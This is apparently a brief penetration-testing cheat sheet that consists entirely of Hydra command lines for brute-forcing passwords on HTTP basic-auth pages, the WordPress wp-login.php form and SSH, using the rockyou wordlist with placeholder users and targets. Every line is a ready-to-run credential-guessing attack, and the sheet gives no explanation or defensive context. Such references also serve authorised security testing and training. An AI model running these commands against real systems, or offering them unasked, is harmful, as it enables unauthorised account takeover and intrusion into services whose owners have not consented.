HTTP
hydra -l <USER> -P /usr/share/wordlists/rockyou.txt -t 1 -f <ip> http-get <path>
WordPress
hydra -L <USERFILE> -P <PASSFILE> $IP http-post-form "/wp-login.php:log=^USER^&pwd=^PWD^:The password you entered for the username" -t 30
SSH
hydra -t 16 -l <USERNAME> -P /usr/share/wordlists/rockyou.txt -vV $IP ssh